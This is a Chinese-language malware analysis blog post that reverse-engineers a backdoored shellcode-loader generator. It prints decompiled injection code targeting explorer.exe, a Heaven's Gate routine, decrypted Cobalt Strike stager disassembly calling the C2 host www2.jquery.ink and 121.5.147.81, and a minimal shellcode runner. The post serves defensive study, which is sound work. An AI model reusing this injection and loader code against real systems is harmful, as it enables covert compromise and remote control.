某ShellcodeLoader生成器隐藏后门分析

百家 作者:Chamd5安全团队 2022-11-06 18:21:46

前言

知名民间网络安全论坛T00s上发了这样一则帖子:于是找到m姐要来样本分析一波。

已有行为分析

根据论坛中的分析,程序有以下行为。

利用作者给的示例命令生成木马时:

  1. 发现有新会话注入到主进程explorer.exe,外联地址为121.5.147.81:2087。
  2. explorer.exe的内存字符串包含www2.jquery.ink和CVE-2020-0729字样。
  3. 外联的流量与cs的https流量匹配。

主函数分析

开头输出帮助提示后,直接调整了一下特权(sub_401620),发现多少有点问题。

// 主函数中调用:adjustPrivilege(L"SeDebugPrivilege");

  CurrentThread = GetCurrentThread();
  if ( OpenThreadToken(CurrentThread, 0x28u, 0, &TokenHandle) )
    goto LABEL_13;
  if ( GetLastError() != 1008 )
    return 0;
  CurrentProcess = GetCurrentProcess();
  if ( !OpenProcessToken(CurrentProcess, 0x28u, &TokenHandle) )
    return 0;
LABEL_13:
  if ( LookupPrivilegeValueW(0, lpName, &Luid) )
  {
    NewState.PrivilegeCount = 1;
    NewState.Privileges[0].Attributes = 2;
    NewState.Privileges[0].Luid = Luid;
    if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, &PreviousState, &ReturnLength) )
    //...

然后执行了免杀shellcode生成功能, 首先是读取并加密shellcode。

codeSize = readFile(argv[1]);
  v5 = 0;
  codeSize_1 = codeSize;
  for ( i = sc; v5 < codeSize; ++v5 )
    sc[v5] = (v5 ^ sc[v5]) + 1;                 // 加密Shellcode

读取ShellcodeLoader.exe。

LoaderSize = readFile("ShellcodeLoader.exe");
  shellcodeLoader_1 = (char *)shellcodeLoader;
  nNumberOfBytesToWrite = LoaderSize;
  v29 = (char *)shellcodeLoader;
  for ( j = 0; ; ++j )
  {
    v11 = (unsigned int)&shellcodeLoader_1[j];
    if ( shellcodeLoader_1[j] == 'A' )
      break;
LABEL_10:
    ;
  }

然后找到placeholder并将shellcode写入(长度4字节+shellcode内容)。

v12 = 0;
  while ( 1 )
  {
    ++v12;
    ++j;
    if ( v12 > 80 )                             // 找到连续至少80个A的位置
      break;
    if ( shellcodeLoader_1[j] != 'A' )
      goto LABEL_10;
  }
  if ( v11 <= (unsigned int)&codeSize_1 || v11 >= (unsigned int)&v28 )// 写入CodeSize
  {
    *(_DWORD *)v11 = codeSize;
  }
  else
  {
    *(_WORD *)(v11 + 2) = HIWORD(codeSize_1);
    *(_BYTE *)(v11 + 1) = BYTE1(codeSize_1);
    *(_BYTE *)v11 = codeSize;
  }
  v13 = v11 + 4;
  if ( v11 + 4 <= (unsigned int)i || v13 >= (unsigned int)&i[codeSize] )
  {
    if ( codeSize )
    {
      v17 = &i[-v13];
      do
      {
        v18 = v17[v13++];                       // 复制CodeSize
        *(_BYTE *)(v13 - 1) = v18;
        --codeSize;
      }
      while ( codeSize );
    }
  }//...

最后写入文件并输出提示。

FileA = CreateFileA(argv[2], 0x40000000u, 0, 0, 2u, 0x80u, 0);
  if ( FileA == (HANDLE)-1 )//...
    do
    {
      WriteFile(v22, sc_loader, v20, &NumberOfBytesWritten, 0);
      sc_loader += NumberOfBytesWritten;
      v20 -= NumberOfBytesWritten;
    }
    while ( v20 );
    CloseHandle(v22);
    shellcodeLoader_1 = v29;
  }
  ProcessHeap = GetProcessHeap();
  HeapFree(ProcessHeap, 0, shellcodeLoader_1);
  printf((int)"\r\n[+] output file------->%s\r\n", argv[2]);

看起来并没有恶意行为。

恶意函数分析

既然已有行为分析中发现有注入行为了,就找找进程API。

Process32NextW交叉引用。

BOOL __cdecl sub_401560(LPCWSTR lpString2, DWORD *a2)
{//...
  pe.dwSize = 556;
  hSnapshot = CreateToolhelp32Snapshot(2u, 0);
  if ( hSnapshot == (HANDLE)-1 )
    return 0;
  Process32FirstW(hSnapshot, &pe);
  while ( lstrcmpiW(pe.szExeFile, lpString2) )
  {
    if ( !Process32NextW(hSnapshot, &pe) )
      goto LABEL_7;
  }
  *a2 = pe.th32ProcessID;
LABEL_7:
  CloseHandle(hSnapshot);
  hSnapshot = 0;
  return *a2 != 0;
}

经典遍历进程,继续交叉引用得到:

int sub_401710()
{//...
  dwProcessId = 0;
  memset(String2, 0, sizeof(String2));
  v3 = 0;
  v1[0] = 2;
  v1[1] = 17;
  v1[2] = 0;
  v1[3] = 3;
  v1[4] = 6;
  v1[5] = 14;
  v1[6] = 2;
  v1[7] = 14;
  v1[8] = 15;
  v1[9] = 2;
  v1[10] = 17;
  v1[11] = 2;
  for ( i = 0; i != 12; ++i )
    String2[i] = aS[v1[i]];
  String2[2] = 'p';
  result = sub_401560(String2, &dwProcessId);
  if ( dwProcessId )
    return sub_401290(dwProcessId);
  return result;

字符串稍微解密一下,得到explorer.exe,既然找到了explorer.exe的PID,下一步应该是注入。

int __cdecl sub_401290(DWORD dwProcessId)
{
  //...
  for ( i = 0; i != 6; ++i )
    ModuleName[i] = aAbcdefghijklmn[v3[i]];
  v18 = 3276851;
  hModule = GetModuleHandleW(ModuleName);
  hObject = 0;
  hObject = OpenProcess(0x1FFFFFu, 0, dwProcessId);
  //...
  v14 = 0;
  for ( j = 0; j != 14; ++j )
    ProcName[j] = aAbcdefghijklmn[dword_41A9E4[j]];
  VirtualAllocEx = GetProcAddress(hModule, ProcName);
  // ...
  for ( k = 0; k != 18; ++k )
    v4[k] = aAbcdefghijklmn[dword_41ADD8[k]];
  WriteProcessMemory = GetProcAddress(hModule, v4);
  if ( sub_401100() != 64 )
    return 1;
  hHeap = HeapCreate(0, 0, 0);
  dwBytes = 929;
  v27 = (char *)HeapAlloc(hHeap, 8u, 0x3A1u);
  memmove(v27, &unk_41AA20, dwBytes);
  for ( m = 0; m < dwBytes; ++m )
    v27[m] = m ^ (v27[m] - 1); // 解密shellcode
  v26 = ((int (__stdcall *)(HANDLE, _DWORD, SIZE_T, int, int))VirtualAllocEx)(hObject, 0, dwBytes, 12288, 64);
  if ( v26 )
  {
    ((void (__stdcall *)(HANDLE, int, char *, SIZE_T, char *))WriteProcessMemory)(hObject, v26, v27, dwBytes, v2);
    v23 = 0;
    v24 = 0;
    v24 = (void (__cdecl *)(HANDLE, _DWORD, _DWORD, int, int, _DWORD, _DWORD, HANDLE *))sub_401230(&unk_41A8B0, 0x131u);
    v24(hObject, 0, 0, v26, v26, 0, 0, &v23);
    CloseHandle(hObject);
    CloseHandle(v23);
    return 1;
  }
  else
  {
    CloseHandle(hObject);
    return 0;
  }
}

最后调用了sub_401230,用于分配空间并放入unk_41A8B0

sub_41A8B0分析

开头调用了sub_41A93

sub_41A933 proc far                     ; CODE XREF: sub_41A8B0+6↑p
.data:0041A933 E8 F5 FF FF FF                call    sub_41A92D // ret 1
.data:0041A933
.data:0041A938 74 07                         jz      short locret_41A941
.data:0041A938
.data:0041A93A 58                            pop     eax
.data:0041A93B 6A 33                         push    33h ; '3'
.data:0041A93D 53                            push    ebx
.data:0041A93E 5B                            pop     ebx
.data:0041A93F 50                            push    eax
.data:0041A940 CB                            retf

使用了天堂之门技术,所以后面的shellcode为64位反汇编。

import capstone as cs
sc=b'S[\x85\xc0tgH\x89\xe6H\x83\xe4\xf0H\x83\xech\xb8\xfa\x809^S[\xe8\x86\x00\x00\x00H\x89\xc3M1\xc0H1\xc0H\x89D$PS[H\x89D$HH\x89D$@H\x89D$8S[H\x89D$0\x8bF$H\x89D$(\x8bF H\x89D$ S[D\x8bN\x14\xba\x00\x00\x00\x10\x8bN0S[\xff\xd3H\x89\xf4\xe8\x1c\x00\x00\x00]_^['
c=cs.Cs(cs.CS_ARCH_X86,cs.CS_MODE_64)
for i in c.disasm(sc,0x41a8bb):
    print('%x: %s %s'%(i.address,i.mnemonic,i.op_str))

得到结果如下:

0x41a8bb: push rbx
0x41a8bc: pop rbx
0x41a8bd: test eax, eax
0x41a8bf: je 0x41a928
0x41a8c1: mov rsi, rsp
0x41a8c4: and rsp, 0xfffffffffffffff0
0x41a8c8: sub rsp, 0x68
0x41a8cc: mov eax, 0x5e3980fa
0x41a8d1: push rbx
0x41a8d2: pop rbx
0x41a8d3: call 0x41a95e
0x41a8d8: mov rbx, rax
0x41a8db: xor r8, r8
0x41a8de: xor rax, rax
0x41a8e1: mov qword ptr [rsp + 0x50], rax
0x41a8e6: push rbx
0x41a8e7: pop rbx
0x41a8e8: mov qword ptr [rsp + 0x48], rax
0x41a8ed: mov qword ptr [rsp + 0x40], rax
0x41a8f2: mov qword ptr [rsp + 0x38], rax
0x41a8f7: push rbx
0x41a8f8: pop rbx
0x41a8f9: mov qword ptr [rsp + 0x30], rax
0x41a8fe: mov eax, dword ptr [rsi + 0x24]
0x41a901: mov qword ptr [rsp + 0x28], rax
0x41a906: mov eax, dword ptr [rsi + 0x20]
0x41a909: mov qword ptr [rsp + 0x20], rax
0x41a90e: push rbx
0x41a90f: pop rbx
0x41a910: mov r9d, dword ptr [rsi + 0x14]
0x41a914: mov edx, 0x10000000
0x41a919: mov ecx, dword ptr [rsi + 0x30]
0x41a91c: push rbx
0x41a91d: pop rbx
0x41a91e: call rbx
0x41a920: mov rsp, rsi
0x41a923: call 0x41a944
0x41a928: pop rbp
0x41a929: pop rdi
0x41a92a: pop rsi
0x41a92b: pop rbx

调用了0x41A95e和0x41a944,其中sub_41a944从天堂之门返回。

0x41a95e: call 0x41a947
0x41a963: push rbx
0x41a964: pop rbx
0x41a965: jne 0x41a977
0x41a967: pop rax
0x41a968: sub esp, 8
0x41a96b: mov dword ptr [rsp], eax
0x41a96e: mov dword ptr [rsp + 4], 0x23

sub_41A95e的返回值被存入rbx进行调用。

Flink = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
  while ( 1 )
  {
    v4 = Flink[1].Flink;
    result = (unsigned int)v4;
    if ( !v4 )
      break;
    Flink = Flink->Flink;
    v6 = (unsigned int)a1;
    a1 = *(unsigned int *)((char *)&v4[1].Blink
                         + *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16)));
    if ( *(_DWORD *)((char *)&v4[1].Blink
                   + *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16))) )
    {
      LODWORD(v6) = *(_DWORD *)((char *)&v4[1].Blink
                              + *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16))
                              + 4);
      v7 = (char *)v4 + v6;
      LODWORD(v6) = *(_DWORD *)((char *)&v4[2].Flink
                              + *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16)));
      v8 = (char *)v4 + v6;
      LODWORD(v6) = *(_DWORD *)((char *)&v4[2].Flink
                              + *(unsigned int *)((char *)&v4[7].Blink + (unsigned int)(HIDWORD(v4[3].Blink) + 16))
                              + 4);
      v9 = (char *)v4 + v6;
      do
      {
        v10 = (char *)v4 + *(unsigned int *)&v8[4 * a1 - 4];
        v11 = 0;
        v12 = 0;
        do
        {
          LOBYTE(v11) = *v10++;
          v12 = __ROL4__(v11 + v12, 5);
          --v11;
        }
        while ( v11 >= 0 );
        --a1;
      }
      while ( v12 != v2 && a1 );
      return (unsigned __int64)v4 + *(unsigned int *)&v7[4 * *(unsigned __int16 *)&v9[2 * a1]];
    }
  }
  return result;

经典寻找模块名,函数名哈希存储在eax:0x5e3980fa中,直接根据模块的加密算法暴力枚举好了。

import pefile
rol4=lambda x,i:((x<<i)|(x>>(32-i)))&0xffffffff
def encrypt_str(s):
    n=0
    for i in s:
        n=rol4(n+i,5)
    return n
pe=pefile.PE('ntdll.dll')
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
    if exp.name is None:continue
    enc=encrypt_str(exp.name+b'\x00')
    if enc==0x5e3980fa:
        print(exp.name)

找到是ntdll.dll中的NtCreateThreadEx,回到0x41a8bb,根据NtCreateThreadEx的函数签名(Nt系列实际调用Zw系列)。

typedef DWORD(WINAPI* PfnZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximunStackSize,
    LPVOID pUnkown);

这里设置了执行参数,最重要的就是unk_41AA20中的Shellcode。

unk_41AA20中的shellcode分析

使用如下脚本解密shellcode:

import ida_bytes as ib
base=0x41aa20
for i in range(929):
    c=ib.get_byte(base+i)
    c=(c-1)^i
    ib.patch_byte(base+i,c)

得到:

0x0: cld 
0x1: and rsp, 0xfffffffffffffff0
0x5: call 0xd2

0xa: push r9
0xc: push r8
0xe: push rdx
0xf: push rcx
0x10: push rsi
0x11: xor rdx, rdx
0x14: mov rdx, qword ptr gs:[rdx + 0x60]
0x19: mov rdx, qword ptr [rdx + 0x18]
0x1d: mov rdx, qword ptr [rdx + 0x20]

0x21: mov rsi, qword ptr [rdx + 0x50]
0x25: movzx rcx, word ptr [rdx + 0x4a]
0x2a: xor r9, r9
0x2d: xor rax, rax
0x30: lodsb al, byte ptr [rsi]
0x31: cmp al, 0x61
0x33: jl 0x37
0x35: sub al, 0x20
0x37: ror r9d, 0xd
0x3b: add r9d, eax
0x3e: loop 0x2d
0x40: push rdx
0x41: push r9
0x43: mov rdx, qword ptr [rdx + 0x20]
0x47: mov eax, dword ptr [rdx + 0x3c]
0x4a: add rax, rdx
0x4d: cmp word ptr [rax + 0x18], 0x20b
0x53: jne 0xc7
0x55: mov eax, dword ptr [rax + 0x88]
0x5b: test rax, rax
0x5e: je 0xc7
0x60: add rax, rdx
0x63: push rax
0x64: mov ecx, dword ptr [rax + 0x18]
0x67: mov r8d, dword ptr [rax + 0x20]
0x6b: add r8, rdx
0x6e: jrcxz 0xc6
0x70: dec rcx
0x73: mov esi, dword ptr [r8 + rcx*4]
0x77: add rsi, rdx
0x7a: xor r9, r9
0x7d: xor rax, rax
0x80: lodsb al, byte ptr [rsi]
0x81: ror r9d, 0xd
0x85: add r9d, eax
0x88: cmp al, ah
0x8a: jne 0x7d
0x8c: add r9, qword ptr [rsp + 8]
0x91: cmp r9d, r10d
0x94: jne 0x6e
0x96: pop rax
0x97: mov r8d, dword ptr [rax + 0x24]
0x9b: add r8, rdx
0x9e: mov cx, word ptr [r8 + rcx*2]
0xa3: mov r8d, dword ptr [rax + 0x1c]
0xa7: add r8, rdx
0xaa: mov eax, dword ptr [r8 + rcx*4]
0xae: add rax, rdx
0xb1: pop r8
0xb3: pop r8
0xb5: pop rsi
0xb6: pop rcx
0xb7: pop rdx
0xb8: pop r8
0xba: pop r9
0xbc: pop r10
0xbe: sub rsp, 0x20
0xc2: push r10
0xc4: jmp rax

0xc6: pop rax
0xc7: pop r9
0xc9: pop rdx
0xca: mov rdx, qword ptr [rdx]
0xcd: jmp 0x21

0xd2: pop rbp
0xd3: push 0
0xd5: movabs r14, 0x74656e696e6977
0xdf: push r14
0xe1: mov r14, rsp
0xe4: mov rcx, r14
0xe7: mov r10d, 0x726774c
0xed: call rbp

0xef: xor rcx, rcx
0xf2: xor rdx, rdx
0xf5: xor r8, r8
0xf8: xor r9, r9
0xfb: push r8
0xfd: push r8
0xff: mov r10d, 0xa779563a
0x105: call rbp

0x107: jmp 0x19f
0x10c: pop rdx
0x10d: mov rcx, rax
0x110: mov r8d, 0x827
0x116: xor r9, r9
0x119: push r9
0x11b: push r9
0x11d: push 3
0x11f: push r9
0x121: mov r10d, 0xc69f8957
0x127: call rbp

0x129: jmp 0x1a4
0x12b: pop rbx
0x12c: mov rcx, rax
0x12f: xor rdx, rdx
0x132: mov r8, rbx
0x135: xor r9, r9
0x138: push rdx
0x139: push -0x7b3fce00
0x13e: push rdx
0x13f: push rdx
0x140: mov r10d, 0x3b2e55eb
0x146: call rbp

0x148: mov rsi, rax
0x14b: add rbx, 0x50
0x14f: push 0xa
0x151: pop rdi
0x152: mov rcx, rsi
0x155: mov edx, 0x1f
0x15a: push 0
0x15c: push 0x3380
0x161: mov r8, rsp
0x164: mov r9d, 4
0x16a: mov r10d, 0x869e4675
0x170: call rbp

0x172: mov rcx, rsi
0x175: mov rdx, rbx
0x178: mov r8, 0xffffffffffffffff
0x17f: xor r9, r9
0x182: push rdx
0x183: push rdx
0x184: mov r10d, 0x7b18062d
0x18a: call rbp

0x18c: test eax, eax
0x18e: jne 0x331
0x194: dec rdi
0x197: je 0x329
0x19d: jmp 0x152
0x19f: jmp 0x388
0x1a4: call 0x12b

但是手动复现计算失败了,直接使用shellcode加载器调试:

uint8_t sc[]={/*...*/};
int main() {
 printf("Hello,World, %d\n", sc[0] + sc[1]);
 uint8_t* c =(uint8_t*) VirtualAlloc(NULL, 0x4000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(c, sc, sizeof(sc));
 (*(void(*)()) c)();
}

特别说明

  • 0x726774c对应LoadLibraryA,加载的是winnet
  • 0xa779563a对应InternetOpenA
  • c69f857对应InternetConnectA,看到域名www2.jquery.ink
  • 0x3b2e55eb对应HttpOpenRequestA,看到路径/maps/overlayBfpr
  • 0x869e4675对应InternetSetOptinoA,看到UA:Host: www2.jquery.ink\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.5\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MAAU)\r\n
  • 0x7b18062d对应HttpSendRequestA

这一套下来后,如果HttpSendRequestA失败,则结束;如果成功,则继续后续操作。此时已经是CobaltStrike自动生成木马,分析流量无益,读者感兴趣可以自行分析。

调用路径分析

主函数中似乎并没有发现恶意行为,除了特权调整,那么恶意函数如何执行呢?

可以从sub_401710交叉引用:

int __cdecl sub_401800(int a1)
{
  if ( dword_41B870 == 6 )
    sub_401710();
  else
    ++dword_41B870;
  return a1;
}

判断了一个全局变量,如果是6则执行注入操作,否则继续+1,继续交叉引用,发现很多无用函数。

int __cdecl sub_401830(int a1)
{
  sub_401800(a1);
  return a1;
}

使用下面的脚本过掉这种:

start=0x401800
r=[i for i in CodeRefsTo(start,1)]
while len(r)==1:
    print(hex(start))
    start=r[0]-7
    r=[i for i in CodeRefsTo(start,1)]

发现是自定义打印函数中的一个函数。

int printf(int a1, ...)
{
  va_list va; // [esp+14h] [ebp+Ch] BYREF

  va_start(va, a1);
  __acrt_iob_func(1u);
  sub_401010(va);
  return sub_401930(dword_41B870); // 恶意调用
}

然后查看主函数,发现提示正好6次,最后生成完整ShellcodeLoader之后的提示执行恶意行为。

总结

  • 安全工具最好放入虚拟机或隔绝的机器执行。
  • 开源软件有时还是自己编译更安全。

参考

  • https://blog.csdn.net/weixin_43090100/article/details/82939499

  • T00s帖子某shellcode加载器疑似存在后门【求分析】

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接